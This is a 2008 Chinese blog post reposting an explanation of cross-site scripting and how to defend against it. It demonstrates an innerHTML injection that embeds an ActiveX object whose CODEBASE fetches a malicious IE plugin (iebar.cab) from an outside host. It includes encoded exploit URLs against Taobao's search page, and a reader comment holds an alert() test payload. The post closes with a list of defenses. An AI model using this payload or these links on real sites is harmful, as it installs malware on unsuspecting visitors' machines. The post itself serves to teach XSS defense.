Jamebo
博客园
|
首页
|
发新随笔
|
发新文章
|
联系
|
订阅
|
管理
跨站点脚本攻击的防范(ZT)
转帖自朋友的Blog:
http://www.zhangsichu.com/blogview.asp?Content_Id=104
跨站点脚本攻击在Web开发中是个非常敏感的安全问题。
跨站点脚本攻击(XSS)FAQ 这篇文章
http://tech.idv2.com/2006/08/30/xss-faq/
讲述了跨站点脚本攻击的常见情况。
下面摘引自原文部分章节:
------------------------------------------------------------------------
什么是跨站脚本攻击?
跨 站脚本攻击(也称为XSS)指利用网站漏洞从用户那里恶意盗取信息。用户在浏览网站、使用即时通讯软件、甚至在阅读电子邮件时,通常会点击其中的链接。攻 击者通过在链接中插入恶意代码,就能够盗取用户信息。攻击者通常会用十六进制(或其他编码方式)将链接编码,以免用户怀疑它的合法性。网站在接收到包含恶 意代码的请求之后会产成一个包含恶意代码的页面,而这个页面看起来就像是那个网站应当生成的合法页面一样。许多流行的留言本和论坛程序允许用户发表包含 HTML和javascript的帖子。假设用户甲发表了一篇包含恶意脚本的帖子,那么用户乙在浏览这篇帖子时,恶意脚本就会执行,盗取用户乙的 session信息。有关攻击方法的详细情况将在下面阐述。
XSS和CSS是什么意思?
人们经常将跨站脚本攻击(Cross Site Scripting)缩写为CSS,但这会与层叠样式表(Cascading Style Sheets, CSS)的缩写混淆。因此有人将跨站脚本攻击缩写为XSS。如果你听到有人说 "我发现了一个XSS漏洞",显然他是在说跨站脚本攻击。
跨站脚本攻击有什么危害?
为 了搜集用户信息,攻击者通常会在有漏洞的程序中插入 JavaScript、VBScript、 ActiveX或Flash以欺骗用户(详见下文)。一旦得手,他们可以盗取用户帐户,修改用户设置,盗取/污染cookie,做虚假广告等。每天都有大 量的XSS攻击的恶意代码出现。 Brett Moore的下面这篇文章详细地阐述了"拒绝服务攻击"以及用户仅仅阅读一篇文章就会受到的"自动攻击"。
…
------------------------------------------------------------------------
在这篇文章中讲述了跨站点攻击窃取他人Cookie,伪装他人登录的细节。
当 前的跨站点脚本攻击已经发展到了一个非常妖魔化的地步,不再只局限于窃取他人的Cookie。更加恶毒的跨站点脚本攻击会让访问者中恶意插件,中木马。一 般的跨站点脚本攻击会利用漏洞执行document.write。写入一段javascript,让浏览器执行。现在部分站点屏蔽了 document.write或者把用户可能注入的脚本放在一个display=none的Div中,让注入攻击失败。当前又发现了用innerHTML 的方式注入可见Div,实现跨站点脚本攻击的方式。
跨站点脚本攻击+html注入嵌入恶意插件
下面是利用淘宝网的脚本漏洞,编写的跨站点脚本攻击代码:
注入代码的原型:
<script type="text/javascript">
window.onload = function(){
document.getElementById("QuickLinks").innerHTML =
"<object classid=clsid:56A7DC70-E102-4408-A34A-AE06FEF01586 CODEBASE=http://iebar.t2t2.com/iebar.cab#Version=1,1,0,0></object>";
}</script>
http://iebar.t2t2.com/iebar.cab
这个恶意IE弹框插件是在
《一段Script引发的"冤案"》
中发现的恶意插件。由于没有找到一个合适的IE插件.cab文件做测试,所以拿这个来做跨站点脚本攻击嵌入恶意插件的测试。
通过淘宝网Search时没有过滤用户输入,存在的脚本漏洞生成的link.
http://search1.taobao.com/browse/0/t-95-----------------g,hrzwg4tjob2ca5dzobst2itumv4
hil3kmf
3gc43dojuxa5bchz3ws3ten53s433onrxwczbahuqgm5lomn2gs33ofauxwzdpmn2w2zlooqxgozluiv
wgk3lfnz2ee6kjmquceulvnfrwwtdjnzvxgirjfzuw43tfojefitkmea6sair4n5rguzldoqqgg3dbonzwszb5
e5rwy43jmq5dknsbg5cegnzqfvctcmbsfu2dimbyfvatgncbfvaukmbwizcummbrgu4dmjzainhuirkcifju
kpjhnb2hi4b2f4xwszlcmfzc45bsoqzc4y3pnuxwszlcmfzc4y3bmirvmzlsonuw63r5gewdclbqfqycopr4f5
xwe2tfmn2d4ir3pu6c643dojuxa5b6----------------40--commend-0-all-0.htm?at_topsearch=1
由于链接过长在FF下显示会很难看,这里截断了链接。如果要访问这个链接,需要先把它黏贴到记事本里,去掉其中的回车,然后访问才可以看到注入效果。
访问这个link可能会让您的机器中iebar这个恶意插件
访问link后如下图(使用IE访问可以看到明显的效果):
screen.width-300)this.width=screen.width-300" alt="Click to Open in New Window" border="0">
红框中的那个东东就是恶意插件了。
下面的注入是一个安全的注入测试,没有危害。
http://search1.taobao.com/browse/0/t-95-----------------g,hrzwg4tjob2ca5dzobst2itumv4
hil3kmf3gc43dojuxa5bchz3ws3ten53s433onrxwczbahuqgm5lomn2gs33ofauxwzdpmn2w
2zlooqxgozluivwgk3lfnz2ee6kjmquceulvnfrwwtdjnzvxgirjfzuw43tfojefitkmea6sair4nfwwoi
dtojrt2j3ior2haorpf55gqylom5zwsy3iouxgg33nf5uw2ylhmvzs6ytmn5twy33hn4xgu4dhe4
qc6prchn6tyl3tmnzgs4duhy----------------40--commend-0-all-0.htm?at_topsearch=1
如下图(注入图片)
screen.width-300)this.width=screen.width-300" alt="Click to Open in New Window" border="0">
跨站点脚本攻击是一个十分危险的攻击手段,会让你的Web产品蒙受不白之冤。恶意的Link链接是从你的站点里出来的,一般的用户完全会认为是你的站点里带了恶意的插件,使恶意插件深深的隐藏了起来。
防范跨站点脚本攻击的办法:
1.设置白名单,只认为在白名单中的字符才是合法的字符,当用户输入的字符在白名单之外,全部过滤。如使用正则表达式过滤。
2.输出时HtmlEncode。
3.Asp.Net中在可能潜在攻击的页面中开启Validate Request。
4.对所有的html属性添加双引号,闭合属性。
5.IE中使用 HttpOnly Cookie。
6.IE的Frame中加 Frame Security属性。
7.使用XSSDetect做检查, XSSDetect是MS集成在VS2005中的XSS检查工具非常好用。
Tag标签:
Web安全
发表于 2008-01-23 09:49
Jamebo
阅读(631)
评论(3)
编辑
收藏
网摘
所属分类:
Web Programming
评论
#1楼
分析透彻 不错的好文章.....
#2楼
<>
#3楼
try
<script>alert("dd");</script>
新用户注册
刷新评论列表
标题
姓名
主页
Email
(博主才能看到)
验证码
*
看不清,换一张
[
登录
][
注册
]
内容(请不要发表任何与政治相关的内容)
网站首页
新闻频道
社区
小组
博问
网摘
人才
找找看
Remember Me?
登录
使用高级评论
新用户注册
返回页首
恢复上次提交
[使用Ctrl+Enter键可以直接提交]
Google站内搜索
相关文章:
相关搜索:
Web安全
相关链接:
所属分类的其他文章:
使用JavaScript创建Table时,用cellSpacing而不是cellspacing
跨站点脚本攻击的防范(ZT)
XHTML中需要书写独立的封闭Script标签
Top 10 things to know about Visual Studio 2008 and .NET Framework 3.5(ZT)
微软发布IE、Firefox、Opera和Safari的JavaScript兼容性研究(ZZ)
使用VS.Net IDE调试JavaScript
session详解(ZT)
ASP.Net中OnBeforeUnLoad事件中调用__doPostBack不起作用?
最新IT新闻:
Google操作系统已开始内部测试?
Google阅读器界面升级 全新改版
微软官方下载:Windows Vista SP2 Beta测试版
微软发布PC Live单机游戏客户端
Firefox遭“独家”恶意软件攻击
随笔:16 文章:1 评论:69 引用:1
<
2008年1月
>
日
一
二
三
四
五
六
30
31
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
1
2
3
4
5
6
7
8
9
公告
Email: LoveShrek(at)GMail.com
与我联系
发短消息
搜索
常用链接
我的随笔
我的空间
我的短信
我的评论
更多链接
我的参与
最新评论
我的标签
留言簿
(2)
给我留言
查看留言
我参与的团队
.NET 控件与组件开发(2/1413)
Silverlight学习与研究(0/319)
我的标签
Web安全
(1)
随笔分类
DotNet Framework
(rss)
Others(4)
(rss)
SilverLight
(rss)
Web Programming(9)
(rss)
WinForm Programming(4)
(rss)
WPF
(rss)
随笔档案
2008年4月 (1)
2008年3月 (1)
2008年2月 (1)
2008年1月 (2)
2007年12月 (1)
2007年11月 (2)
2007年9月 (1)
2007年6月 (1)
2007年4月 (1)
2007年3月 (2)
2005年3月 (3)
积分与排名
积分 - 23174
排名 - 1986
最新评论
阅读排行榜
1. 使用VS.Net IDE调试JavaScript(7066)
2. session详解(ZT)(2149)
3. 翻译: 绘制窗体时防止闪烁(2006)
4. ASP.Net中OnBeforeUnLoad事件中调用__doPostBack不起作用?(1920)
5. 建议能在园子里面发布Silverlight2.0应用(1146)
评论排行榜
1. 使用VS.Net IDE调试JavaScript(26)
2. 建议能在园子里面发布Silverlight2.0应用(10)
3. IE7 想说爱你不容易(6)
4. ASP.Net中OnBeforeUnLoad事件中调用__doPostBack不起作用?(5)
5. session详解(ZT)(4)